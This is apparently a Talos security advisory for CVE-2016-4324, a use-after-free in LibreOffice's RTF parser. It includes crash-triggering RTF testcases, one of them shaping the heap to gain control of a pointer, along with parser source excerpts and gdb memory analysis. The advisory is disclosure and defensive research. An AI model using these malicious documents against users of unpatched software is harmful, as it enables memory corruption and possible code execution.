CVE-2016-4324
An exploitable Use After Free vulnerability exists in the RTF parser LibreOffice. A specially crafted file can cause a use after free resulting in a possible arbitrary code execution. To exploit the vulnerability a malicious file needs to be opened by the user via vulnerable application.
The Document Foundation LibreOffice 5.0.4
https://www.libreoffice.org/download/libreoffice-fresh/
[6.3] - [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]
LibreOffice is a popular open source office suite. An use after free vulnerability is present in the RTF parser of the lates release. The core of the vulnerability lies in the way documents containing both stylesheet and superscript tokens are parsed. A malformed document with \super
token in top group causes the invalid parser operation. A minimal example testcase triggering the vulnerability is:
{\rtf1
{\stylesheet {;}}
Hello world \super hello
}
It can be observed that the token super
(a keyword for supperscript text) is in outermost group while the stylesheet is in its own inner group. In an usual RTF document, superscript would be in an inner group too.
Looking at the code, for each new token a new parser state is pushed to the state stack:
RTFError RTFDocumentImpl::pushState()
{
//SAL_INFO("writerfilter", OSL_THIS_FUNC << " before push: " << m_pTokenizer->getGroup());
checkUnicode(/*bUnicode =*/ true, /*bHex =*/ true);
m_nGroupStartPos = Strm().Tell();
if (m_aStates.empty())
m_aStates.push(m_aDefaultState);
else
{
// fdo#85812 group resets run type of _current_ and new state (but not RTL)
m_aStates.top().eRunType = RTFParserState::LOCH;
if (m_aStates.top().eDestination == Destination::MR)
lcl_DestinationToMath(*m_aStates.top().pDestinationText, m_aMathBuffer, m_bMathNor);
m_aStates.push(m_aStates.top());
}
m_aStates.top().aDestinationText.setLength(0); // was copied: always reset!
It should be noted that variable m_aStates
above is of type RTFStack
which is a warper for STL deque container. In this specific case, the states are popped and subsequently freed in the popState
method, specifically at line 5844:
m_aStates.pop();
m_pTokenizer->popGroup();
By observing the process under debugger, it can be observed that popState
is called one time too many, leading to an access to an invalid pointer which eventually crashes the process at:
writerfilter::Reference<Properties>::Pointer_t RTFDocumentImpl::getProperties(RTFSprms& rAttributes, RTFSprms& rSprms)
{
int nStyle = 0;
if (!m_aStates.empty())
nStyle = m_aStates.top().nCurrentStyleIndex;
RTFReferenceTable::Entries_t::iterator it = m_aStyleTableEntries.find(nStyle);
if (it != m_aStyleTableEntries.end())
{
RTFReferenceProperties& rProps = *static_cast<RTFReferenceProperties*>(it->second.get());
// cloneAndDeduplicate() wants to know about only a single "style", so
// let's merge paragraph and character style properties here.
int nCharStyle = m_aStates.top().nCurrentCharacterStyleIndex; // crashes here
The invalid memory being dereferenced ultimately comes from a previously used chunk on the heap of size 0x50 which is allocated during one of the pushState
calls:
gdb$ bt
#0 0xffffffff in void std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::_M_push_back_aux<writerfilter::rtftok::RTFParserState const&>(writerfilter::rtftok::RTFParserState const&) ()
at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
#1 0xffffffff in writerfilter::rtftok::RTFDocumentImpl::pushState() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
#2 0xffffffff in writerfilter::rtftok::RTFTokenizer::resolveParse() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
#3 0xffffffff in writerfilter::rtftok::RTFDocumentImpl::resolve(writerfilter::Stream&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
#4 0xffffffff in RtfFilter::filter(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
#5 0xffffffff in SfxObjectShell::ImportFrom(SfxMedium&, com::sun::star::uno::Reference<com::sun::star::text::XTextRange> const&) () at /opt/libreoffice5.0/program/libmergedlo.so
#6 0xffffffff in SfxObjectShell::DoLoad(SfxMedium*) () at /opt/libreoffice5.0/program/libmergedlo.so
#7 0xffffffff in SfxBaseModel::load(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/libmergedlo.so
A truncated callstack shows that the debugger is stopped inside a push_back
method of the RTFStack deque.
gdb$ x/10i $pc-5
0xabc26224 <+192>: call 0xabbff5a0 <operator new(unsigned int)@plt>
=> 0xabc26229 <+197>: mov edx,DWORD PTR [ebp-0x1c]
0xabc2622c <+200>: add esp,0xc
0xabc2622f <+203>: mov DWORD PTR [ebp-0x24],edx
0xabc26232 <+206>: mov ecx,eax
0xabc26234 <+208>: mov eax,edx
0xabc26236 <+210>: sub eax,edi
0xabc26238 <+212>: shr eax,1
0xabc2623a <+214>: lea edi,[ecx+eax*4]
0xabc2623d <+217>: push edi
Disassembly of at the breakpoint shows a call to a new operator which allocates an array of 18 unsigned ints. The heap chunk returned is in eax
and can be observed to be in use:
gdb$ x/x $eax
0x873c200: 0xb5131968
gdb$ x/x $eax-4
0x873c1fc: 0x00000051
The chunk is located at 0x873c200 and is 80 bytes in size. This chunk is later freed in a popState
call but it’s content is ultimately accessed again just before the crash. The program crashes inside ` writerfilter::Reference
Program received signal SIGSEGV, Segmentation fault.
gdb$ x/3i $pc-8
0xabc03898 <+156>: call 0xabc1e6de <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()>
0xabc0389d <+161>: add esp,0xc
=> 0xabc038a0 <+164>: mov eax,DWORD PTR [eax+0x1c4]
gdb$ i r eax
eax 0x19 0x19
gdb$
In the above debugger output, the process crashes due to a read access violation. Contents of register eax
above come from the previous call to back
:
gdb$ disassemble 0xabc1e6de
Dump of assembler code for function _ZNSt5dequeIN12writerfilter6rtftok14RTFParserStateESaIS2_EE4backEv:
0xabc1e6de <+0>: push ebp
0xabc1e6df <+1>: mov ebp,esp
0xabc1e6e1 <+3>: mov edx,DWORD PTR [ebp+0x8]
0xabc1e6e4 <+6>: mov eax,DWORD PTR [edx+0x18]
0xabc1e6e7 <+9>: cmp eax,DWORD PTR [edx+0x1c]
0xabc1e6ea <+12>: mov ecx,DWORD PTR [edx+0x24]
0xabc1e6ed <+15>: jne 0xabc1e6f7 <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()+25>
0xabc1e6ef <+17>: mov eax,DWORD PTR [ecx-0x4] [1]
0xabc1e6f2 <+20>: add eax,0x1d4
0xabc1e6f7 <+25>: sub eax,0x1d4
0xabc1e6fc <+30>: pop ebp
0xabc1e6fd <+31>: ret
End of assembler dump.
gdb$ x/x $ecx-4
0x873c214: 0x00000019
In the above disassembly, the final value of eax ultimately comes from an address pointed at by ecx-4
[1] which actually points inside the previously freed chunk. Observe that the buffer is inside the chunk (chunk was at 0x873c200 and was 80 bytes) which has been allocated by another part of the code in the mean time.
Further memory layout control could potentially allow for more abuse and ultimately for code execution. By careful heap manipulation, a dereferenced pointer can be put under control which can be demonstrated by the following (shortened) testcase:
{\rtf{\upr{\ud{\fonttbl{}}}}
{\stylesheet
{ Normal;}
}
\super a}AAAAAAA.....
Opening the above testcase in LibreOffice results in the same crash but with obvious control over the pointer:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xabd6e460 --> 0x187244
ECX: 0x88595c8 --> 0x8810440 --> 0x880ff08 --> 0xabd69840 (:rtftok::RTFDocumentImpl+8>: 0xabc01cf6)
EDX: 0x880ff48 --> 0x88595b0 --> 0xb5131870 --> 0x885bbc0 --> 0x0
ESI: 0xbfffd7d4 --> 0xabc1e74c (<std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count(std::__shared_count<(__gnu_cxx::_Lock_policy)2> const&)+14>: add ecx,0x14fd14)
EDI: 0x88103e4 --> 0x0
EBP: 0xbfffd808 --> 0xbfffd898 -->
ESP: 0xbfffd79c --> 0xbfffd7bc --> 0x882d7b8 --> 0x1
EIP: 0xabc038a0 (<writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&)+164>: mov eax,DWORD PTR [eax+0x1c4])
EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xabc03895 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+153>: mov DWORD PTR [ebp-0x64],eax
0xabc03898 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+156>: call 0xabc1e6de <std::deque::back()>
0xabc0389d <writerfilter::rtftok::RTFDocumentImpl::getProperties()+161>: add esp,0xc
=> 0xabc038a0 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+164>: mov eax,DWORD PTR [eax+0x1c4]
0xabc038a6 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+170>: mov DWORD PTR [ebp-0x3c],eax
0xabc038a9 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+173>: lea eax,[ebp-0x3c]
0xabc038ac <writerfilter::rtftok::RTFDocumentImpl::getProperties()+176>: push eax
0xabc038ad <writerfilter::rtftok::RTFDocumentImpl::getProperties()+177>: push edi
0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties() () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
gdb$
Further process and memory state manipulation is needed to possibly turn this arbitrary read into code execution.
Program received signal SIGSEGV, Segmentation fault.
0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&) () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so
Missing separate debuginfos, use: debuginfo-install libreoffice5.0-5.0.4.2-2.i586
(gdb) exploitable
Description: Access violation on source operand
Short description: SourceAv (19/22)
Hash: af3c01fefebc302b00a13ca8b7b6f323.5bf63181b180fb2d4e93814d425f662e
Exploitability Classification: UNKNOWN
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation.
Other tags: AccessViolation (21/22)
(gdb)
2016-04-13 - Initial Vendor Contact
2016-06-27 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos